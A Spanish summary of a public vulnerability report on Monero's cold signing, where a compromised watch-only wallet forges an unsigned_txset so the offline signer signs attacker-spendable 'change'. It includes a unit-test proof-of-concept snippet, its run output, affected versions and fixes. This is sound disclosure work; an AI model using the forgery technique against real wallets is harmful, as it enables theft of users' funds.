Reports
ALTA[LÓGICA DE NEGOCIO]#3621588

Robo del "cambio" en la firma en frío de Monero mediante un unsigned_txset falsificado

Un monedero caliente malicioso con la clave de vista podía reescribir la dirección de cambio de una transacción sin firmar en Monero, logrando que el firmante en frío firmara un output de cambio gastable por el atacante.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El flujo de firma en frío ("cold signing") de Monero basado en unsigned_txset permitía el robo de fondos. Un monedero caliente o "watch-only" malicioso o comprometido —que dispone de la clave de vista privada del monedero víctima— podía falsificar una transacción sin firmar y autenticada de modo que las pantallas de confirmación de Monero mostraran como "cambio" (change) un output controlado por el atacante. El firmante offline reconstruía y firmaba entonces ese output creyéndolo cambio propio.

La clave del ataque es una dirección híbrida construida con la clave de vista pública de la víctima y una clave de gasto pública del atacante. El output único (one-time output) resultante queda gastable por el atacante y no por la víctima. Según el investigador, no es un simple fallo de visualización ni requiere saltarse el firmware de una Trezor o una Ledger: es una pérdida directa de fondos en el código del monedero.

Componentes afectados: el código del monedero de monero-project/monero, la firma en frío de monero-wallet-cli mediante sign_transfer, los métodos RPC describe_transfer y sign_transfer, la carga de transacciones sin firmar en la API del monedero y la GUI, y la función subyacente tools::wallet2::sign_tx(unsigned_tx_set &...).

Causa raíz

  1. tx_construction_data serializa tanto change_dts como splitted_dsts, de modo que los ficheros de transacción sin firmar contienen metadatos de "cambio reclamado" que el atacante puede manipular.
  2. Los blobs de transacción sin firmar se autentican con la clave de vista privada del monedero, que el monedero caliente/watch-only ya posee; por tanto puede alterarlos manteniéndolos válidos.
  3. Los caminos de confirmación de la CLI, la API del monedero y el RPC confían en change_dts.addr con tal de que sea una de las direcciones de pago, pero no verifican que pertenezca al monedero que firma.
  4. wallet2::sign_tx(unsigned_tx_set &...) pasa entonces esa change_dts.addr no confiable a construct_tx_and_get_tx_key(...).
  5. Para los outputs clasificados como cambio, la derivación usa la clave de vista privada del emisor más la clave de gasto pública del destino.
  6. Eso permite usar una dirección híbrida (clave de vista de la víctima + clave de gasto del atacante), con lo que el output de cambio falsificado pasa a ser gastable por el atacante.

A diferencia del camino online de creación de transacciones, sign_tx(...) no aplica antes de firmar la comprobación de propiedad Change address is not ours.

Pasos de reproducción

Precondiciones (según el investigador, dentro de la frontera de confianza prevista para la firma en frío por software de Monero, no un requisito fuera de alcance como comprometer antes el firmante offline):

  1. La víctima usa el flujo de firma en frío de Monero basado en unsigned_txset.
  2. El atacante controla el monedero caliente/watch-only, o dispone de la clave de vista privada del monedero y puede generar el blob de la transacción sin firmar.
  3. La víctima revisa y firma la transacción falsificada.

El investigador aportó una prueba de concepto (PoC) en forma de tests unitarios (tests/unit_tests/cold_signing_change_spoof.cpp) que:

  • construye una dirección híbrida con la clave de vista de la víctima y una clave de gasto del atacante, aceptada por el parser de direcciones normal de Monero;
  • crea un unsigned_txset legítimo a partir de outputs propios del monedero;
  • desde el lado caliente/watch-only malicioso reescribe los change_dts y splitted_dsts serializados, vuelve a autenticar el blob con la clave de vista privada del monedero y lo entrega al firmante en frío;
  • comprueba que wallet2::sign_tx(unsigned_tx_set &...) acepta ese blob falsificado y reconstruye una transacción firmada cuyo output de cambio es gastable por el atacante y no por la víctima.

Las superficies de descripción de la CLI, la GUI, la API y el RPC se verificaron revisando el código, no ejecutándolas: todas confluyen en el mismo flujo de carga, descripción y firma, cuyo punto final común (wallet2::sign_tx) sí se demuestra en la PoC.

El núcleo de la manipulación (fragmento del test) consiste en reemplazar la dirección de cambio serializada por la dirección híbrida:

cryptonote::account_public_address hybrid_change_address = victim.get_keys().m_account_address;
hybrid_change_address.m_spend_public_key = attacker_spend_public;

auto &forged_cd = forged_unsigned.txes.front();
forged_cd.change_dts.addr = hybrid_change_address;
forged_cd.change_dts.is_subaddress = false;
forged_cd.splitted_dsts.back().addr = hybrid_change_address;
forged_cd.splitted_dsts.back().is_subaddress = false;

const std::string forged_blob =
    dump_unsigned_txset_with_view_key(forged_unsigned, victim.get_keys().m_view_secret_key);

Tests usados:

  • cold_signing_change_spoof.hybrid_change_address_is_attacker_spendable
  • cold_signing_change_spoof.forged_unsigned_txset_roundtrip_signs_attacker_change

Ejecución:

./build-audit-run/tests/unit_tests/unit_tests --gtest_filter='cold_signing_change_spoof.*'

Salida observada:

Note: Google Test filter = cold_signing_change_spoof.*
[==========] Running 2 tests from 1 test suite.
[----------] Global test environment set-up.
[----------] 2 tests from cold_signing_change_spoof
[ RUN      ] cold_signing_change_spoof.hybrid_change_address_is_attacker_spendable
[step 1] Parsed hybrid address with victim view key and attacker spend key
[step 2] Generated change-classified output for the hybrid address
[step 3] Derived shared secret using the victim view secret key
[step 4] Output public key matches attacker spend path
[step 5] Attacker can derive the one-time spend key for the forged change output
[step 6] Victim spend key does not recover the forged change output
[       OK ] cold_signing_change_spoof.hybrid_change_address_is_attacker_spendable (0 ms)
[ RUN      ] cold_signing_change_spoof.forged_unsigned_txset_roundtrip_signs_attacker_change
[roundtrip prep 0] Generated victim and recipient accounts
[roundtrip prep 0b] Initialized builder, signer, and hot wallets
[roundtrip prep 0c] Built standard-genesis synthetic chain and rewound spendable blocks
[roundtrip prep 1] Imported synthetic outputs into the builder wallet
[roundtrip prep 1b] Builder wallet now tracks 311 imported transfer(s)
[roundtrip prep 2] Selected 5 owned transfer(s) totaling 7592169267200
[roundtrip prep 3] Builder wallet produced a legitimate pending_tx with wallet-owned sources
2026-03-22 18:57:03.865	W saving 1 transactions
[roundtrip prep 4] Exported the legitimate pending_tx into an unsigned_txset blob
[roundtrip 0] Legitimate unsigned_txset roundtrips through cold sign before forgery
[roundtrip 1] Loaded a legitimate unsigned_txset with the hot wallet view key
[roundtrip 2] Replaced serialized change metadata with a hybrid victim-view / attacker-spend address
[roundtrip 3] Re-authenticated the forged unsigned_txset so the cold signer loads attacker change as valid metadata
[roundtrip 4] Cold signing accepted the forged change address and reconstructed the signed transaction
[roundtrip 5] The signed forged change output is attacker-spendable and not recoverable by the victim spend key
[       OK ] cold_signing_change_spoof.forged_unsigned_txset_roundtrip_signs_attacker_change (1506 ms)
[----------] 2 tests from cold_signing_change_spoof (1507 ms total)

[----------] Global test environment tear-down
[==========] 2 tests from 1 test suite ran. (1507 ms total)
[  PASSED  ] 2 tests.

Versiones

  • Vulnerable (comprobado en código): v0.18.4.6.
  • Vulnerable (comprobado ejecutando la PoC): el checkout b9998fc9e1c280d30e4b40ba983b1964eb256d66.
  • Rango vulnerable según el historial local: de v0.12.0.0 hasta master en el momento del reporte. La forma vulnerable de la firma en frío se introdujo con el commit 53ad5a0f42174bca57e24485ef3d40e4b9cf5599 ("Subaddresses", 2017-10-07), publicado por primera vez en v0.12.0.0.
  • No afectada (comprobado en código): v0.11.1.0, cuyo camino de firma offline más antiguo no pasa una dirección de cambio serializada a construct_tx_and_get_tx_key(...).
  • La PoC no se ejecutó una a una sobre las versiones históricas.

Impacto

  • Robo directo y determinista del "cambio" del firmante en frío una vez que la víctima aprueba la firma.
  • Falsificación de la revisión de destinatario/cambio en las pantallas de descripción de la CLI, la GUI/API y el RPC del monedero.
  • Rotura de la frontera de confianza de la firma en frío de Monero frente al lado caliente/watch-only no confiable.

Clasificación en el VRP de Monero: HIGH (los fallos que provocan pérdida de monero se clasifican como HIGH). CVSS v3.1 sugerido por el investigador (orientativo): 6.8 — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N.

Remediación

Correcciones propuestas por el investigador:

  1. Antes de firmar un unsigned_txset, rechazar cualquier change_dts.addr no nula cuya clave de gasto pública no esté en m_subaddresses.
  2. Aplicar la misma validación de propiedad en los caminos de descripción de la transacción sin firmar de la CLI, la GUI y el RPC.
  3. Preferir recalcular el cambio mostrado a partir de los outputs propios del firmante en lugar de confiar en el change_dts serializado.

Mientras no hubiera arreglo, la única mitigación fiable era verificar de forma independiente, en el lado frío, que la dirección de cambio reclamada pertenece al monedero que firma, y tratar el change_dts serializado como metadatos no confiables. Si no puede comprobarse contra direcciones o subdirecciones propias, no se debe firmar la transacción.

El investigador indicó que usó asistencia de IA para revisar el código y redactar el reporte, y que comprobó cada afirmación técnica contra el código fuente y la salida de sus tests.